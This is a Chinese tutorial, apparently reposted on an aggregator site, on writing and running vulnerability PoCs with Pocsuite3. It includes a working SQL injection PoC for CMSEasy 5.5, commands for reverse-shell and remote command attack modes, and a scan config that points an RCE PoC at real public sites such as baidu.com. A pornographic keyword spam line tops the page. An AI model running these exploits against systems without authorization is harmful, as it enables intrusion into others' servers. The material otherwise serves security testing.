日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

使用Pocsuite3

發布時間:2024/6/3 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 使用Pocsuite3 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

簡介和安裝
在此框架下,有編寫其POC的指定規則
以CMSEasy5.5的SQL注入漏洞PoC為例

1、首先創建.py文件,命名規則:

PoC命名分成3個部分組成漏洞應用名_版本號_漏洞類型名稱 然后把文件名稱中的所有字母改成小寫,所有的符號改成_. 文件 例子的.py文件名為:_88979_cmseasy_5_5_sql_injection.py

2、PoC如下:
poc參考地址

#導入所寫PoC所需要類/文件,盡量不要使用第三方模塊。 #迫不得已使用第三方模塊有其依賴規則,后面給出。 from pocsuite3.api import Output,POCBase,register_poc,requests #PoC實現類,繼承POCBase class DemoPoc(POCBase):#PoC信息字段,需要完整填寫全部下列信息vulID = '88979' #漏洞編號,若提交漏洞的同時提交PoC,則寫成0version = '1'#PoC版本,默認為1author = ['blh']#此PoC作者vulDate = '2014-11-03'#漏洞公開日期createDate = '2020-01-13'#編寫PoC日期updateDate = '2020-01-13'#更新PoC日期,默認與createDate一樣references = ['https://www.seebug.org/vuldb/ssvid-88979']#漏洞地址來源,0day不寫name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'#PoC名稱appPowerLink = 'http://www.cmseasy.cn/'#漏洞產商主頁appName = 'CMSEasy'#漏洞應用名稱appVersion = '5.5'#漏洞影響版本vulType = 'SQL Injection'#漏洞類型desc = '''漏洞描述'''#在漏洞描述填寫samples = []#測試成功網址install_requires = []#PoC依賴的第三方模塊,盡量不要使用第三方模塊,必要時參考后面給出的參考鏈接pocDesc = '''PoC用法描述'''#在PoC用法描述填寫#編寫驗證模式def _verify(self):#驗證代碼result = {}target = self.url + '/celive/live/header.php'#此處payload即為post的數據payload = {'xajax': 'LiveMessage','xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat(""floor(rand(0)*2),(select md5(614)))a from ""information_schema.tables group by a)b),""'','','','1','127.0.0.1','2') #"}# 使用requests發送post請求response = requests.post(target,payload)#‘851ddf5058cf22df63d3344ad89919cf’為0614的md5值if '851ddf5058cf22df63d3344ad89919cf' in str(response.content):result['VerifyInfo']={}result['VerifyInfo']['URL'] = targetresult['VerifyInfo']['Postdata'] = payloadreturn self.parse_output(result)#編寫攻擊模式,此處直接給到驗證模式,讀者可以自行寫出payload,獲取管理員賬號密碼等信息。def _attack(self):return self._verify()#自定義輸出函數,調用框架輸出的實例Outputdef parse_output(self,result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return output#注冊PoC類,這樣框架才知道這是PoC類 register_poc(DemoPoc)

更多的規則和自定義函數:參考連接

常用命令調用

常用命令如下:(進入pocsuite3目錄下使用)

pocsuite -u http://test.com -r test.py --verify #使用test.py這個PoC去檢測http://test.com這個url pocsuite -u http://test.com -r test.py --verify --shell # shell反連模式 pocsuite -u http://test.com -r ecshop_rce.py --attack --command "whoami" # pocsuite3中自帶的ecshop poc中實現了自定義命令`command`,可以從外部參數傳遞 pocsuite -f url.txt -r test.py --verify #使用test.py這個PoC去檢測url.txt文件里所有的url #應該有個檢測多個PoC的,但不知道怎么寫命令,希望有師傅告知

例如:(實驗中的成功案例是使用上面參考鏈接中的CMS和phpStudy搭建的環境)


集成調用

pocsuite3 api 提供了集成pocsuite3的全部功能函數。典型集成調用方法如下:

from pocsuite3.api import init_pocsuite from pocsuite3.api import start_pocsuite from pocsuite3.api import get_results #config中給出三個url和兩個PoC config = {'url': {'https://www,baidu.com','https://www.4399.com','http://192.168.246.130/cmsEasy/uploads'},'poc': {'E:\python\python3.8.0\Lib\site-packages\pocsuite3\pocs\\thinkphp_rce.py','E:\python\python3.8.0\Lib\site-packages\pocsuite3\pocs\mypoc\_88979_cmseasy_5_5_sql_injection.py'} } # config字典的配置和cli命令行參數配置一模一樣 init_pocsuite(config) start_pocsuite() result = get_results().pop() print(result)

可以直接用命令行調用此python文件或者在IDE中直接執行。

總結

以上是生活随笔為你收集整理的使用Pocsuite3的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。